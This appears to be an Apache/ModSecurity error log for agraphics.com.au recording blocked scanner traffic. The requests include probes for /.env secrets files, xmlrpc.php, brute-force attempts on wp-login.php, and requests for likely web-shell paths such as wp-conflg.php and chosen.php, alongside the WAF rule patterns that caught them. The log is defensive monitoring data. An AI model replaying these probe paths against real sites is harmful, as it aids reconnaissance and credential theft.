[Tue Jan 27 12:36:52.003694 2026] [:error] [pid 48631:tid 48643] [client 163.53.176.213:9172] [client 163.53.176.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.176.213, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aXhA5CN5eesHzEogX0wCJgAAAko"]
[Tue Jan 27 12:36:52.015533 2026] [proxy_fcgi:error] [pid 48631:tid 48643] [client 163.53.176.213:9172] AH01071: Got error 'Primary script unknown'
[Tue Jan 27 13:40:56.502026 2026] [:error] [pid 48446:tid 48492] [client 146.235.18.147:54475] [client 146.235.18.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aXhP6MDRSaZ8F8aaLxlPAwAAAc4"]
[Tue Jan 27 13:40:56.554302 2026] [:error] [pid 48412:tid 48419] [client 146.235.18.147:54484] [client 146.235.18.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXhP6HbJMfAKlln88JGkmAAAAUU"]
[Wed Jan 28 01:38:48.914277 2026] [proxy_fcgi:error] [pid 24425:tid 24446] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.038626 2026] [proxy_fcgi:error] [pid 24425:tid 24451] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.174388 2026] [proxy_fcgi:error] [pid 24425:tid 24437] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.300050 2026] [proxy_fcgi:error] [pid 24425:tid 24442] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.434003 2026] [proxy_fcgi:error] [pid 24425:tid 24430] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.758611 2026] [proxy_fcgi:error] [pid 24425:tid 24453] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:49.891193 2026] [proxy_fcgi:error] [pid 24425:tid 24448] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:51.335082 2026] [proxy_fcgi:error] [pid 24425:tid 24441] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:51.460236 2026] [proxy_fcgi:error] [pid 24425:tid 24446] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:51.590002 2026] [proxy_fcgi:error] [pid 24425:tid 24433] [client 20.89.229.5:13202] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:38:51.713304 2026] [:error] [pid 24425:tid 24452] [client 20.89.229.5:13202] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aXj4Kx_qUCA3SusVe0uIXAAAARY"]
[Wed Jan 28 01:38:55.693802 2026] [:error] [pid 24425:tid 24440] [client 20.89.229.5:7865] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aXj4Lx_qUCA3SusVe0uIZQAAAQo"]
[Wed Jan 28 01:39:09.630928 2026] [:error] [pid 41678:tid 41698] [client 20.89.229.5:13237] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aXj4Paja89ZyPVwMdigq9AAAAAU"]
[Wed Jan 28 01:39:12.280229 2026] [:error] [pid 41678:tid 41708] [client 20.89.229.5:14470] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aXj4QKja89ZyPVwMdigq-gAAAA8"]
[Wed Jan 28 01:39:36.737205 2026] [:error] [pid 24427:tid 24490] [client 20.89.229.5:14566] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aXj4WE5-wqSNb5f_hOIBgQAAAYU"]
[Wed Jan 28 01:39:43.613385 2026] [:error] [pid 41678:tid 41703] [client 20.89.229.5:16598] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/999.php"] [unique_id "aXj4X6ja89ZyPVwMdigrPQAAAAo"]
[Wed Jan 28 01:39:50.408089 2026] [:error] [pid 24426:tid 24464] [client 20.89.229.5:8089] [client 20.89.229.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/999.php"] [unique_id "aXj4Zvbw8B_M5J5XrXT87wAAAUY"]
[Wed Jan 28 01:40:07.670407 2026] [proxy_fcgi:error] [pid 41678:tid 41704] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:07.792800 2026] [proxy_fcgi:error] [pid 41678:tid 41708] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:07.917347 2026] [proxy_fcgi:error] [pid 41678:tid 41693] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.289305 2026] [proxy_fcgi:error] [pid 41678:tid 41717] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.488488 2026] [proxy_fcgi:error] [pid 41678:tid 41716] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.610031 2026] [proxy_fcgi:error] [pid 41678:tid 41694] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.732735 2026] [proxy_fcgi:error] [pid 41678:tid 41711] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.865621 2026] [proxy_fcgi:error] [pid 41678:tid 41697] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:08.989150 2026] [proxy_fcgi:error] [pid 41678:tid 41700] [client 20.89.229.5:14870] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 01:40:09.108095 2026] [:error] [pid 41678:tid 41699] [client 20.89.229.5:14870] [client 20.89.229.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aXj4eaja89ZyPVwMdigrmwAAAAY"]
[Wed Jan 28 05:22:55.646332 2026] [proxy_fcgi:error] [pid 17535:tid 17549] [client 45.154.138.36:40441] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:22:56.582691 2026] [proxy_fcgi:error] [pid 17535:tid 17551] [client 45.154.138.36:40441] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:22:57.046749 2026] [:error] [pid 17535:tid 17541] [client 45.154.138.36:40441] [client 45.154.138.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aXkssa3QiSMgVscnN5IlwQAAAMM"]
[Wed Jan 28 05:22:57.976621 2026] [proxy_fcgi:error] [pid 58254:tid 58273] [client 45.154.138.15:27505] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:22:58.447276 2026] [:error] [pid 58254:tid 58274] [client 45.154.138.15:27505] [client 45.154.138.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aXkssvF8nSyBg9wOsa8hRgAAARI"]
[Wed Jan 28 05:22:59.382764 2026] [proxy_fcgi:error] [pid 2454:tid 2476] [client 45.154.138.26:60787] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:00.323620 2026] [proxy_fcgi:error] [pid 2454:tid 2460] [client 45.154.138.26:60787] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:00.915634 2026] [proxy_fcgi:error] [pid 2454:tid 2463] [client 45.154.138.26:60787] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:01.393641 2026] [:error] [pid 2454:tid 2468] [client 45.154.138.26:60787] [client 45.154.138.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aXkstZvv4I21Ywd7NNb7qwAAAYo"]
[Wed Jan 28 05:23:02.322886 2026] [proxy_fcgi:error] [pid 64842:tid 64859] [client 45.154.138.31:59281] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:03.253461 2026] [:error] [pid 64842:tid 64859] [client 45.154.138.31:59281] [client 45.154.138.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aXkst1uAAQZ5AN_SnDYHsAAAAU8"]
[Wed Jan 28 05:23:04.205838 2026] [proxy_fcgi:error] [pid 17535:tid 17550] [client 45.154.138.42:26181] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:04.698158 2026] [proxy_fcgi:error] [pid 17535:tid 17553] [client 45.154.138.42:26181] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:05.156722 2026] [:error] [pid 17535:tid 17558] [client 45.154.138.42:26181] [client 45.154.138.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aXksua3QiSMgVscnN5ImMAAAANQ"]
[Wed Jan 28 05:23:06.083560 2026] [:error] [pid 17425:tid 17487] [client 45.154.138.45:63635] [client 45.154.138.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aXksuqrcODKH1Dl7aZAz3QAAAFg"]
[Wed Jan 28 05:23:07.003167 2026] [:error] [pid 17424:tid 17450] [client 45.154.138.41:36409] [client 45.154.138.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aXksu2RvtDRvGDe-pItVKgAAABE"]
[Wed Jan 28 05:23:08.400654 2026] [:error] [pid 64842:tid 64854] [client 45.154.138.11:53427] [client 45.154.138.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aXksvFuAAQZ5AN_SnDYIAQAAAUo"]
[Wed Jan 28 05:23:09.781728 2026] [:error] [pid 2454:tid 2476] [client 45.154.138.7:62821] [client 45.154.138.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aXksvZvv4I21Ywd7NNb8NQAAAZI"]
[Wed Jan 28 05:23:11.704629 2026] [proxy_fcgi:error] [pid 64842:tid 64856] [client 45.154.138.43:54011] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:13.106534 2026] [proxy_fcgi:error] [pid 64842:tid 64862] [client 45.154.138.43:54011] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:13.569234 2026] [:error] [pid 64842:tid 64857] [client 45.154.138.43:54011] [client 45.154.138.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aXkswVuAAQZ5AN_SnDYIVQAAAU0"]
[Wed Jan 28 05:23:14.492253 2026] [:error] [pid 58254:tid 58270] [client 45.154.138.45:64587] [client 45.154.138.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aXkswvF8nSyBg9wOsa8iDAAAAQ4"]
[Wed Jan 28 05:23:15.890614 2026] [proxy_fcgi:error] [pid 17535:tid 17539] [client 45.154.138.44:41357] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:16.377634 2026] [proxy_fcgi:error] [pid 17535:tid 17540] [client 45.154.138.44:41357] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:16.853315 2026] [proxy_fcgi:error] [pid 17535:tid 17543] [client 45.154.138.44:41357] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:17.325681 2026] [proxy_fcgi:error] [pid 17535:tid 17562] [client 45.154.138.44:41357] AH01071: Got error 'Primary script unknown'
[Wed Jan 28 05:23:21.194444 2026] [:error] [pid 17535:tid 17540] [client 45.154.138.44:41357] [client 45.154.138.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aXksya3QiSMgVscnN5InFgAAAMI"]
[Wed Jan 28 05:23:33.269835 2026] [autoindex:error] [pid 17535:tid 17548] [client 45.154.138.8:21903] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:23:33.767047 2026] [autoindex:error] [pid 17535:tid 17549] [client 45.154.138.8:21903] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:23:34.239564 2026] [autoindex:error] [pid 17535:tid 17562] [client 45.154.138.8:21903] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 05:24:26.232376 2026] [:error] [pid 17426:tid 17504] [client 45.154.138.12:33361] [client 45.154.138.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/zakra/"] [unique_id "aXktCk8zvf_03BnziRcRLwAAAI8"]
[Wed Jan 28 05:24:38.722171 2026] [:error] [pid 17426:tid 17509] [client 45.154.138.28:42555] [client 45.154.138.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/"] [unique_id "aXktFk8zvf_03BnziRcRpgAAAJQ"]
[Wed Jan 28 05:25:21.433121 2026] [:error] [pid 58254:tid 58267] [client 45.154.138.30:38693] [client 45.154.138.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/wp/"] [unique_id "aXktQfF8nSyBg9wOsa8o1wAAAQs"]
[Wed Jan 28 05:26:23.048559 2026] [:error] [pid 58254:tid 58268] [client 45.154.138.7:47129] [client 45.154.138.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/dist/editor/"] [unique_id "aXktf_F8nSyBg9wOsa8rSQAAAQw"]
[Wed Jan 28 05:26:40.727353 2026] [:error] [pid 2454:tid 2470] [client 45.154.138.11:28917] [client 45.154.138.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-compat/"] [unique_id "aXktkJvv4I21Ywd7NNYNYAAAAYw"]
[Wed Jan 28 07:09:03.353226 2026] [:error] [pid 2454:tid 2468] [client 141.98.11.239:64535] [client 141.98.11.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.239, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXlFj5vv4I21Ywd7NNY7yAAAAYo"]
[Wed Jan 28 07:09:03.353293 2026] [:error] [pid 2454:tid 2468] [client 141.98.11.239:64535] [client 141.98.11.239] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.239 on wp-login.php, counter = 92"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aXlFj5vv4I21Ywd7NNY7yAAAAYo"]
[Wed Jan 28 09:18:49.641766 2026] [autoindex:error] [pid 17425:tid 17465] [client 134.122.11.22:60121] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 28 23:15:50.648238 2026] [:error] [pid 33489:tid 33505] [client 213.209.159.151:45230] [client 213.209.159.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXooJhZrVZwQUFWC7_9uwgAAAAw"]
[Wed Jan 28 23:16:22.397783 2026] [:error] [pid 33489:tid 33498] [client 213.209.159.151:33754] [client 213.209.159.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aXooRhZrVZwQUFWC7_9u-gAAAAU"]
[Thu Jan 29 03:33:20.536684 2026] [:error] [pid 15949:tid 16016] [client 47.90.227.150:33292] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXpkgCUUtCw0-hDUhapMkgAAAFg"]
[Thu Jan 29 03:33:21.175831 2026] [:error] [pid 16050:tid 16061] [client 47.90.227.150:37884] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXpkgeFPpSEbViHfa9KP9QAAAMc"]
[Thu Jan 29 06:10:54.959246 2026] [:error] [pid 20486:tid 20502] [client 134.185.90.217:58972] [client 134.185.90.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aXqJbngqSZb6GBx5nnPtBQAAAQ0"]
[Thu Jan 29 06:10:55.532912 2026] [:error] [pid 20578:tid 20625] [client 134.185.90.217:59005] [client 134.185.90.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aXqJbw6UX7yOMwQFiyeISgAAAgw"]
[Thu Jan 29 06:30:25.117997 2026] [:error] [pid 19177:tid 19182] [client 45.148.124.214:17193] [client 45.148.124.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXqOAXipGz0PT8TrQv73BwAAAMM"], referer: https://www.facebook.com/
[Thu Jan 29 06:30:28.842189 2026] [:error] [pid 20579:tid 20641] [client 45.145.129.84:21837] [client 45.145.129.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXqOBDVXNopcNyjJc9VySgAAAkA"], referer: https://www.facebook.com/
[Thu Jan 29 22:27:58.472438 2026] [:error] [pid 20578:tid 20631] [client 47.90.227.150:58714] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXtubg6UX7yOMwQFiydKGwAAAhI"]
[Thu Jan 29 22:27:59.129267 2026] [:error] [pid 20578:tid 20634] [client 47.90.227.150:54462] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aXtubw6UX7yOMwQFiydKHQAAAhU"]
